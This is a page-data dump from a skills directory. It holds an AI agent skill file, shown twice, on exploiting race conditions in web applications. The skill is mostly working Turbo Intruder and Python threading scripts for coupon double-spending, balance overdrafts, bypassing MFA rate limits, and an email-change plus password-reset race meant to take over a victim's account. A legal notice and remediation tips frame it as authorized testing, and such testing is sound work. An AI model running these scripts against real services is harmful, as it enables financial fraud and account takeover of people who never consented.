[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6HF38GG3EEFD1TPJ044G3SS":3,"skill-same:01M6HF38GG3EEFD1TPJ044G3SS":98},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":59,"commitSha":60,"skillDirectory":61,"forksCount":62,"repositoryHtmlUrl":63,"repositoryHomepageUrl":6,"ownerHtmlUrl":64,"ownerBlogUrl":6,"ownerDescription":65,"updatedAt":66,"install":67,"resources":80},"01M6HF38GG3EEFD1TPJ044G3SS","exploiting-race-condition-vulnerabilities",null,"Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.","HenriqueMC17\u002Fagente-core","HenriqueMC17","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F206460478?v=4","01M6HB63HBBF18AC4H09XTB549","Henrique Monteiro Cardoso","01M6HB63NGSQXWKWCFWW2B20W0",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-race-condition-vulnerabilities\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"vulnerabilities","condition","exploiting race condition vulnerabilities","turbo","security","de","time","007","cm","exploit","transactions","t1505","burp-suite","limit-overrun","single-packet-attack","concurrency","toctou","turbo-intruder","race-condition","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-race-condition-vulnerabilities\ndescription: Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- race-condition\n- turbo-intruder\n- toctou\n- concurrency\n- single-packet-attack\n- limit-overrun\n- burp-suite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\ncategory: exploiting-race-condition-vulnerabilities\n---\n# Exploiting Race Condition Vulnerabilities\n\n## When to Use\n- When testing applications with transaction-based functionality (payments, transfers, coupons)\n- During assessment of rate-limiting or attempt-limiting mechanisms\n- When testing multi-step workflows (registration, password reset, MFA)\n- During bug bounty hunting for logic flaws in state-changing operations\n- When evaluating applications with inventory or balance management systems\n\n## Prerequisites\n- Burp Suite Professional with Turbo Intruder extension installed\n- Understanding of HTTP\u002F2 single-packet attack technique\n- Python scripting ability for custom Turbo Intruder scripts\n- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities\n- Target application with state-changing operations (purchases, votes, transfers)\n- Multiple user accounts for testing cross-user race conditions\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Race Condition Attack Surface\n```\n# Common race condition targets:\n# - Coupon\u002Fdiscount code redemption (limit: 1 per user)\n# - Account balance transfers\n# - Inventory purchase (limited stock)\n# - Rate-limited operations (login attempts, SMS verification)\n# - Multi-step workflows (email change + password reset)\n# - File upload + processing pipelines\n\n# Capture the target request in Burp Suite\n# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)\n```\n\n### Step 2 — Configure Single-Packet Attack in Turbo Intruder\n```python\n# Turbo Intruder script for single-packet race condition\n# This sends all requests simultaneously in one TCP packet\n\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Queue 20 identical requests for the same operation\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # Hold all requests until ready\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 3 — Execute Limit Overrun Attack\n```python\n# Turbo Intruder script for coupon\u002Fdiscount limit bypass\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          requestsPerConnection=50,\n                          engine=Engine.BURP2)\n\n    # Send 50 coupon redemption requests simultaneously\n    for i in range(50):\n        engine.queue(target.req, gate='coupon_race')\n\n    engine.openGate('coupon_race')\n\ndef handleResponse(req, interesting):\n    # Flag successful redemptions (200 OK)\n    if req.status == 200:\n        table.add(req)\n```\n\n### Step 4 — Exploit Multi-Endpoint Race Conditions\n```python\n# Race condition between two different endpoints\n# Example: Change email + trigger password reset simultaneously\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Request 1: Change email to attacker@evil.com\n    email_change = '''POST \u002Fapi\u002Fchange-email HTTP\u002F2\nHost: target.com\nCookie: session=VALID_SESSION\nContent-Type: application\u002Fjson\n\n{\"email\":\"attacker@evil.com\"}'''\n\n    # Request 2: Trigger password reset (goes to original email)\n    password_reset = '''POST \u002Fapi\u002Freset-password HTTP\u002F2\nHost: target.com\nContent-Type: application\u002Fjson\n\n{\"email\":\"victim@target.com\"}'''\n\n    engine.queue(email_change, gate='race1')\n    engine.queue(password_reset, gate='race1')\n\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 5 — Test with Python Threading Alternative\n```python\nimport threading\nimport requests\n\nTARGET_URL = \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\"\nCOUPON_CODE = \"DISCOUNT50\"\nSESSION_COOKIE = \"session=abc123\"\n\ndef send_request():\n    response = requests.post(\n        TARGET_URL,\n        json={\"coupon\": COUPON_CODE},\n        headers={\"Cookie\": SESSION_COOKIE},\n        timeout=10\n    )\n    print(f\"Status: {response.status_code}, Response: {response.text[:100]}\")\n\n# Create barrier to synchronize thread start\nbarrier = threading.Barrier(20)\n\ndef synchronized_request():\n    barrier.wait()  # All threads wait here, then start together\n    send_request()\n\nthreads = [threading.Thread(target=synchronized_request) for _ in range(20)]\nfor t in threads:\n    t.start()\nfor t in threads:\n    t.join()\n```\n\n### Step 6 — Analyze Results and Confirm Exploitation\n```\n# In Turbo Intruder results:\n# - Sort by status code to identify successful requests\n# - Compare response lengths to find anomalies\n# - Check if more than one request succeeded (limit overrun confirmed)\n# - Verify backend state (balance, inventory, coupon count)\n\n# Document the race window timing\n# Successful race conditions typically require:\n# - HTTP\u002F2 single-packet attack: ~30 seconds to find\n# - Last-byte sync (HTTP\u002F1.1): ~2+ hours to find\n# - Thread-based approach: Variable, less reliable\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |\n| Single-Packet Attack | Sending multiple HTTP\u002F2 requests in one TCP packet for precise synchronization |\n| Last-Byte Sync | HTTP\u002F1.1 technique holding final byte of multiple requests then releasing simultaneously |\n| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |\n| Hidden State Machine | Exploiting transitional states in multi-step application workflows |\n| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |\n| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |\n| Burp Suite Repeater | Group send feature for basic race condition testing |\n| Nuclei | Template-based scanner with race condition detection templates |\n| Python threading | Custom multi-threaded race condition scripts |\n| racepwn | Dedicated race condition testing framework |\n| asyncio\u002Faiohttp | Python async HTTP for concurrent request sending |\n\n## Common Scenarios\n\n1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used\n2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check\n3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts\n4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic\n5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests\n\n## Output Format\n\n```\n## Race Condition Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\n- **Technique**: HTTP\u002F2 Single-Packet Attack via Turbo Intruder\n- **Concurrent Requests**: 20\n- **Successful Exploitations**: 4 out of 20\n\n### Findings\n| # | Endpoint | Operation | Expected | Actual | Severity |\n|---|----------|-----------|----------|--------|----------|\n| 1 | POST \u002Fredeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |\n| 2 | POST \u002Ftransfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |\n\n### Race Window Analysis\n- HTTP\u002F2 single-packet: Reliable exploitation in \u003C30 seconds\n- Success rate: ~20% per batch of 20 requests\n- Race window estimated: 50-100ms\n\n### Remediation\n- Implement database-level locking (SELECT FOR UPDATE) on critical operations\n- Use optimistic concurrency control with version numbers\n- Apply idempotency keys for state-changing requests\n- Implement distributed locks for multi-server environments\n```\n","# Exploiting Race Condition Vulnerabilities\n\n## When to Use\n- When testing applications with transaction-based functionality (payments, transfers, coupons)\n- During assessment of rate-limiting or attempt-limiting mechanisms\n- When testing multi-step workflows (registration, password reset, MFA)\n- During bug bounty hunting for logic flaws in state-changing operations\n- When evaluating applications with inventory or balance management systems\n\n## Prerequisites\n- Burp Suite Professional with Turbo Intruder extension installed\n- Understanding of HTTP\u002F2 single-packet attack technique\n- Python scripting ability for custom Turbo Intruder scripts\n- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities\n- Target application with state-changing operations (purchases, votes, transfers)\n- Multiple user accounts for testing cross-user race conditions\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Race Condition Attack Surface\n```\n# Common race condition targets:\n# - Coupon\u002Fdiscount code redemption (limit: 1 per user)\n# - Account balance transfers\n# - Inventory purchase (limited stock)\n# - Rate-limited operations (login attempts, SMS verification)\n# - Multi-step workflows (email change + password reset)\n# - File upload + processing pipelines\n\n# Capture the target request in Burp Suite\n# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)\n```\n\n### Step 2 — Configure Single-Packet Attack in Turbo Intruder\n```python\n# Turbo Intruder script for single-packet race condition\n# This sends all requests simultaneously in one TCP packet\n\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Queue 20 identical requests for the same operation\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # Hold all requests until ready\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 3 — Execute Limit Overrun Attack\n```python\n# Turbo Intruder script for coupon\u002Fdiscount limit bypass\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          requestsPerConnection=50,\n                          engine=Engine.BURP2)\n\n    # Send 50 coupon redemption requests simultaneously\n    for i in range(50):\n        engine.queue(target.req, gate='coupon_race')\n\n    engine.openGate('coupon_race')\n\ndef handleResponse(req, interesting):\n    # Flag successful redemptions (200 OK)\n    if req.status == 200:\n        table.add(req)\n```\n\n### Step 4 — Exploit Multi-Endpoint Race Conditions\n```python\n# Race condition between two different endpoints\n# Example: Change email + trigger password reset simultaneously\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Request 1: Change email to attacker@evil.com\n    email_change = '''POST \u002Fapi\u002Fchange-email HTTP\u002F2\nHost: target.com\nCookie: session=VALID_SESSION\nContent-Type: application\u002Fjson\n\n{\"email\":\"attacker@evil.com\"}'''\n\n    # Request 2: Trigger password reset (goes to original email)\n    password_reset = '''POST \u002Fapi\u002Freset-password HTTP\u002F2\nHost: target.com\nContent-Type: application\u002Fjson\n\n{\"email\":\"victim@target.com\"}'''\n\n    engine.queue(email_change, gate='race1')\n    engine.queue(password_reset, gate='race1')\n\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 5 — Test with Python Threading Alternative\n```python\nimport threading\nimport requests\n\nTARGET_URL = \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\"\nCOUPON_CODE = \"DISCOUNT50\"\nSESSION_COOKIE = \"session=abc123\"\n\ndef send_request():\n    response = requests.post(\n        TARGET_URL,\n        json={\"coupon\": COUPON_CODE},\n        headers={\"Cookie\": SESSION_COOKIE},\n        timeout=10\n    )\n    print(f\"Status: {response.status_code}, Response: {response.text[:100]}\")\n\n# Create barrier to synchronize thread start\nbarrier = threading.Barrier(20)\n\ndef synchronized_request():\n    barrier.wait()  # All threads wait here, then start together\n    send_request()\n\nthreads = [threading.Thread(target=synchronized_request) for _ in range(20)]\nfor t in threads:\n    t.start()\nfor t in threads:\n    t.join()\n```\n\n### Step 6 — Analyze Results and Confirm Exploitation\n```\n# In Turbo Intruder results:\n# - Sort by status code to identify successful requests\n# - Compare response lengths to find anomalies\n# - Check if more than one request succeeded (limit overrun confirmed)\n# - Verify backend state (balance, inventory, coupon count)\n\n# Document the race window timing\n# Successful race conditions typically require:\n# - HTTP\u002F2 single-packet attack: ~30 seconds to find\n# - Last-byte sync (HTTP\u002F1.1): ~2+ hours to find\n# - Thread-based approach: Variable, less reliable\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |\n| Single-Packet Attack | Sending multiple HTTP\u002F2 requests in one TCP packet for precise synchronization |\n| Last-Byte Sync | HTTP\u002F1.1 technique holding final byte of multiple requests then releasing simultaneously |\n| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |\n| Hidden State Machine | Exploiting transitional states in multi-step application workflows |\n| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |\n| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |\n| Burp Suite Repeater | Group send feature for basic race condition testing |\n| Nuclei | Template-based scanner with race condition detection templates |\n| Python threading | Custom multi-threaded race condition scripts |\n| racepwn | Dedicated race condition testing framework |\n| asyncio\u002Faiohttp | Python async HTTP for concurrent request sending |\n\n## Common Scenarios\n\n1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used\n2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check\n3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts\n4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic\n5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests\n\n## Output Format\n\n```\n## Race Condition Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\n- **Technique**: HTTP\u002F2 Single-Packet Attack via Turbo Intruder\n- **Concurrent Requests**: 20\n- **Successful Exploitations**: 4 out of 20\n\n### Findings\n| # | Endpoint | Operation | Expected | Actual | Severity |\n|---|----------|-----------|----------|--------|----------|\n| 1 | POST \u002Fredeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |\n| 2 | POST \u002Ftransfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |\n\n### Race Window Analysis\n- HTTP\u002F2 single-packet: Reliable exploitation in \u003C30 seconds\n- Success rate: ~20% per batch of 20 requests\n- Race window estimated: 50-100ms\n\n### Remediation\n- Implement database-level locking (SELECT FOR UPDATE) on critical operations\n- Use optimistic concurrency control with version numbers\n- Apply idempotency keys for state-changing requests\n- Implement distributed locks for multi-server environments\n```\n",{"name":5,"tags":44,"author":45,"domain":38,"license":15,"version":46,"category":5,"nist_csf":47,"subdomain":52,"description":7,"mitre_attack":53},[37,36,35,34,33,32,31],"mahipal","1.0",[48,49,50,51],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[54,55,56,57,58],"T1190","T1059.007","T1505.003","T1083","T1027","main","5eea5b3296f4673b5f481e8bcc1ba76281149f16","modules\u002Fexploiting-race-condition-vulnerabilities",0,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core","https:\u002F\u002Fgithub.com\u002FHenriqueMC17","Qualquer tecnologia suficientemente avançada é indistinguível da mágica.","2026-09-28 22:40:38",{"source":8,"skillName":5,"commands":68,"prompt":78,"zipAvailable":79},[69,72,75],{"tool":70,"command":71},"npx","npx skills add HenriqueMC17\u002Fagente-core --skill exploiting-race-condition-vulnerabilities",{"tool":73,"command":74},"bunx","bunx skills add HenriqueMC17\u002Fagente-core --skill exploiting-race-condition-vulnerabilities",{"tool":76,"command":77},"pnpm","pnpm dlx skills add HenriqueMC17\u002Fagente-core --skill exploiting-race-condition-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-race-condition-vulnerabilities\u002FSKILL.md",true,[81,86,92],{"path":82,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-race-condition-vulnerabilities\u002FLICENSE",{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"references\u002Fapi-reference.md","REFERENCE","参考文档",2446,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-race-condition-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"scripts\u002Fagent.py","SCRIPT","脚本",4304,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-race-condition-vulnerabilities\u002Fscripts\u002Fagent.py",[99,130,155,177,193,212],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":110,"publishedAt":39},"01M6HPFF0RCN0X6WT5EBSV71GY","validating-backup-integrity-for-recovery","Validate backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to ensure backups are reliable for disaster recovery and ransomware response scenarios.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[105],{"categoryNo":106,"categoryName":107,"taxonomyType":108,"taxonomyTypeDesc":109},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[111,112,113,114,115,116,38,117,118,119,120,121,122,123,124,125,126,127,128,129],"integrity","backup","recovery","validating backup integrity for recovery","for","testing","validate","verification","hash-verification","incident-response","ransomware","detection","t1078","t1490","disaster-recovery","restore","incident","disaster recovery","ransomware response",{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":134,"categories":135,"keywords":136,"publishedAt":39},"01M6HPFAWJVFK25Q33K3T7WQ8G","triaging-vulnerabilities-with-ssvc-framework","Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[],[19,137,138,139,140,38,141,142,143,144,145,146,147,148,149,150,151,152,153,154],"framework","ssvc","triaging vulnerabilities with ssvc framework","with","triage and prioritize","CISA","vulnerability-management","risk-management","cvss","remediation","vulnerability","prioritization","decision-tree","prioritize","decision","priorities","actionable","tree",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":161,"publishedAt":39},"01M6HPF6JS9X72WP59094H3ASQ","triaging-security-incident","Performs initial triage of security incidents to determine severity, scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL frameworks. Classifies incidents by type, assigns priority based on business impact, and routes...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident\u002FSKILL.md",[],[23,162,127,38,163,164,165,123,124,166,167,168,169,170,171,172,173,174,175,176],"triaging security incident","actions","soc","NIST","analysis","severity-classification","incident-triage","SANS-PICERL","SOC-operations","picerl","conversion","isolation","scope","impact","consistency",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":181,"categories":182,"keywords":183,"publishedAt":39},"01M6HPF2EX6ZYNYYHKBRJN7GEF","triaging-security-incident-with-ir-playbook","Classify and prioritize security incidents using structured IR playbooks to determine severity, assign response teams, and initiate appropriate response procedures.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident-with-ir-playbook\u002FSKILL.md",[],[23,184,185,162,127,140,38,186,164,120,187,188,123,124,189,167,150,190,191,192],"playbook","triaging security incident with ir playbook","teams","IR-playbook","severity","classification","classify","incidents","initiate",{"skillNo":194,"name":195,"nameZh":6,"description":196,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":197,"categories":198,"keywords":199,"publishedAt":39},"01M6HPEY9XPGE7X95AG4XJFQAW","triaging-security-alerts-in-splunk","Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-alerts-in-splunk\u002FSKILL.md",[],[23,200,201,202,203,204,38,205,206,207,164,208,123,209,210,211,170,27,127,24],"security alerts","splunk","triaging security alerts in splunk","alerts","review","siem","dashboard","search","correlation-search","t1566","notable-events","incident-review",{"skillNo":213,"name":214,"nameZh":6,"description":215,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":216,"categories":217,"keywords":218,"publishedAt":39},"01M6HPET6XGEPEJPN7V032JGZ0","tracking-threat-actor-infrastructure","Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, a","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftracking-threat-actor-infrastructure\u002FSKILL.md",[],[219,220,221,222,38,223,224,225,226,227,228,209,229,28,27,230,24,231,232,233],"infrastructure","tracking threat actor infrastructure","tracking","threat","monitoring","mitre-attack","threat-actor","threat-intelligence","command-and-control","dns","command","intelligence","domains","kit","hosts"]